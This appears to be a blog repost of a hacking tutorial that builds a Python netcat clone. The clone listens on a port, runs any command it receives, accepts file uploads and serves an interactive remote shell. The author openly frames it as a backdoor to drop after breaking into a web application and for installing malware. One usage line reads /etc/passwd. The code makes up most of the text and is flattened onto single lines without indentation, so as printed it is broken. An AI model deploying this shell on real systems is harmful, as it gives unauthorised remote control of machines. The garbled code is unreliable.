Introduction To Netcat
Netcat (often abbreviated to nc) is a computer networking utility for reading from and writing to network connections using TCP or UDP. The command is designed to be a dependable back-end that can be used directly or easily driven by other programs and scripts.
Replacing Netcat With Python
Netcat is the utility knife of networking, so it’s no surprise that shrewd
systems administrators remove it from their systems. On more than one
occasion, I’ve run into servers that do not have netcat installed but do
have Python. In these cases, it’s useful to create a simple network client
and server that you can use to push files, or to have a listener that gives you
command-line access. If you’ve broken in through a web application, it is
definitely worth dropping a Python callback to give you secondary access
without having to first burn one of your trojans or backdoors. Creating a
tool like this is also a great Python exercise, so let’s get started.
Code For Netcat In Python
import sys import socket import getopt import threading import subprocess # define some global variables listen = False command = False upload = False execute = "" target = "" upload_destination = "" port = 0
Here, we are just importing all of our necessary libraries and setting
some global variables. No heavy lifting quite yet.
Now let’s create our main function responsible for handling command-
line arguments and calling the rest of our functions.
def usage(): print "BHP Net Tool" print print "Usage: bhpnet.py -t target_host -p port" print "-l --listen - listen on [host]:[port] for ¬ incoming connections" print "-e --execute=file_to_run - execute the given file receiving a connection" print "-c --command - initialize a command shell" print "-u --upload=destination - upon receiving connection upload file and write to [destination]" print print print "Examples: " print "bhpnet.py -t 192.168.0.1 -p 5555 -l -c" print "bhpnet.py -t 192.168.0.1 -p 5555 -l -u=c:\\target.exe" print "bhpnet.py -t 192.168.0.1 -p 5555 -l -e=\"cat /etc/passwd\"" print "echo 'ABCDEFGHI' | ./bhpnet.py -t 192.168.11.12 -p 135" sys.exit(0) def main(): global listen global port global execute global command global upload_destination global target if not len(sys.argv[1:]): usage() # read the commandline options
Here we begin by reading in all of the command-line and setting
the necessary variables depending on the options we detect.
try: opts, args = getopt.getopt(sys.argv[1:],"hle:t:p:cu:",["help","listen","execute","target","port","command","upload"]) except getopt.GetoptError as err: print str(err) usage() for o,a in opts: if o in ("-h","--help"): usage() elif o in ("-l","--listen"): listen = True elif o in ("-e", "--execute"): execute = a elif o in ("-c", "--commandshell"): command = True elif o in ("-u", "--upload"): upload_destination = a elif o in ("-t", "--target"): target = a elif o in ("-p", "--port"): port = int(a) else: assert False,"Unhandled Option"
If any of the command-line parameters don’t match our criteria, we print out useful usage information with the help of this block.
# are we going to listen or just send data from stdin? w if not listen and len(target) and port > 0: # read in the buffer from the commandline # this will block, so send CTRL-D if not sending input # to stdin buffer = sys.stdin.read() # send data off client_sender(buffer) # we are going to listen and potentially # upload things, execute commands, and drop a shell back # depending on our command line options above
Here we are trying to mimic Netcat to read data from stdin and send it across the network. As noted, if you plan on sending data interactively, you need to send a ctrl-D to bypass the stdin read.
if listen: server_loop() main()
The final piece is where we detect that we are to set up a listening socket and process further commands (upload a file, execute a command, start a command shell).
Now let’s start putting in the plumbing for some of these features, start-
ing with our client code. Add the following code above our main function.
def client_sender(buffer): client = socket.socket(socket.AF_INET, socket.SOCK_STREAM) try: # connect to our target host client.connect((target,port)) if len(buffer): client.send(buffer) while True: # now wait for data back recv_len = 1 response = ""
Most of this code should look familiar to you by now. We start by set-
ting up our TCP socket object and then test u to see if we have received
any input from stdin.
while recv_len: data = client.recv(4096) recv_len = len(data) response+= data if recv_len < 4096: break print response,
If all is well, we ship the data off to the remote target and receive back data until there is no more data to receive.
# wait for more input w buffer = raw_input("") buffer += "\n" # send it off client.send(buffer) except: print "[*] Exception! Exiting." # tear down the connection client.close()
We then wait for further input from the user and continue sending and receiving data until the user kills the script. The extra line break is attached specifically to our user input so that our client will be compatible with our command shell. Now we’ll move on and create our primary server loop and a stub function that will handle both our command execution and our full command shell.
def server_loop(): global target # if no target is defined, we listen on all interfaces if not len(target): target = "0.0.0.0" server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) server.bind((target,port)) server.listen(5) while True: client_socket, addr = server.accept() # spin off a thread to handle our new client client_thread = threading.Thread(target=client_handler, args=(client_socket,)) client_thread.start() def run_command(command): # trim the newline command = command.rstrip()
By now, you’re an old hand at creating TCP servers complete with threading, so I won’t dive in to the server_loop function. The run_command
function, however, contains a new library we haven’t covered yet: the
subprocess library. subprocess provides a powerful process-creation interface that gives you a number of ways to start and interact with client programs.
# run the command and get the output back try: output = subprocess.check_output(command,stderr=subprocess.STDOUT, shell=True) except: output = "Failed to execute command.\r\n" # send the output back to the client return output
In this case, we’re simply running whatever command we pass in, run-
ning it on the local operating system, and returning the output from
the command back to the client that is connected to us. The exception-
handling code will catch generic errors and return back a message letting
you know that the command failed.
Now let’s implement the logic to do file uploads, command execution,
and our shell.
def client_handler(client_socket): global upload global execute global command # check for upload if len(upload_destination): # read in all of the bytes and write to our destination file_buffer = "" # keep reading data until none is available
Our first chunk of code is responsible for determining whether our
network tool is set to receive a file when it receives a connection. This can be useful for upload-and-execute exercises or for installing malware and having the malware remove our Python callback.
while True: data = client_socket.recv(1024) if not data: break else: file_buffer += data
First we receive the file data in a loop v to make sure we receive it all, and then we simply open a file handle and write out the contents of the file. The wb flag ensures that we are writing the file with binary mode enabled, which ensures that uploading and writing a binary executable will be successful.
# now we take these bytes and try to write them out try: file_descriptor = open(upload_destination,"wb") file_descriptor.write(file_buffer) file_descriptor.close() # acknowledge that we wrote the file out client_socket.send("Successfully saved file to %s\r\n" %upload_destination) except: client_socket.send("Failed to save file to %s\r\n" %upload_destination) # check for command execution if len(execute): # run the command output = run_command(execute) client_socket.send(output)
Next we process our execute functionality w, which calls our previously written run_command function and simply sends the result back across the network.
# now we go into another loop if a command shell was requested if command: while True: # show a simple prompt client_socket.send("<BHP:#> ") # now we receive until we see a linefeed ¬ (enter key) cmd_buffer = "" while "\n" not in cmd_buffer: cmd_buffer += client_socket.recv(1024) # send back the command output response = run_command(cmd_buffer) # send back the response client_socket.send(response)
Our last bit of code handles our command shell x; it continues to execute commands as we send them in and sends back the output. You’ll notice that it is scanning for a newline character to determine when to process a command, which makes it netcat-friendly. However, if you are conjuring up a Python client to speak to it, remember to add the newline character.
Now It’s Time To Check Our Code
Now let’s play around with it a bit to see some output. In one terminal or
cmd.exe shell, run our script like so:
thedarktech$ ./bhnet.py -l -p 9999 -c
Now you can fire up another terminal or cmd.exe, and run our script in
client mode. Remember that our script is reading from stdin and will do so
until the EOF (end-of-file) marker is received. To send EOF, hit ctrl-D on
thedarktech$ ./bhnet.py -t localhost -p 9999 <CTRL-D> <BHP:#> ls -la total 32 drwxr-xr-x 4 justin staff 136 18 Dec 19:45 . drwxr-xr-x 4 justin staff 136 9 Dec 18:09 .. -rwxrwxrwt 1 justin staff 8498 19 Dec 06:38 bhnet.py -rw-r--r-- 1 justin staff 844 10 Dec 09:34 listing-1-3.py <BHP:#> pwd /Users/thedarktech/svn/BHP/code/Chapter2 <BHP:#>
You can see that we receive back our custom command shell, and
because we’re on a Unix host, we can run some local commands and
receive back some output as if we had logged in via SSH or were on the
box locally. We can also use our client to send out requests the good, old-
thedarktech$ echo -ne "GET / HTTP/1.1\r\nHost: www.google.com\r\n\r\n" | ./bhnet.py -t www.google.com -p 80 HTTP/1.1 302 Found Location: http://www.google.ca/ Cache-Control: private Content-Type: text/html; charset=UTF-8 P3P: CP="This is not a P3P policy! See http://www.google.com/support/accounts/bin/answer.py?hl=en&answer=151657 for more info." Date: Wed, 19 Dec 2012 13:22:55 GMT Server: gws Content-Length: 218 X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN <HTML><HEAD><meta http-equiv="content-type" content="text/html;charset=utf-8"> <TITLE>302 Moved</TITLE></HEAD><BODY> <H1>302 Moved</H1> The document has moved <A HREF="http://www.google.ca/">here</A>. </BODY></HTML> [*] Exception! Exiting. thedarktech$
There you go! It’s not a super technical technique, but it’s a good foun- dation on how to hack together some client and server sockets in Python and use them for evil. Of course, it’s the fundamentals that you need most: use your imagination to expand or improve it.
Also Check How To Create TCP Server For Hacking With Python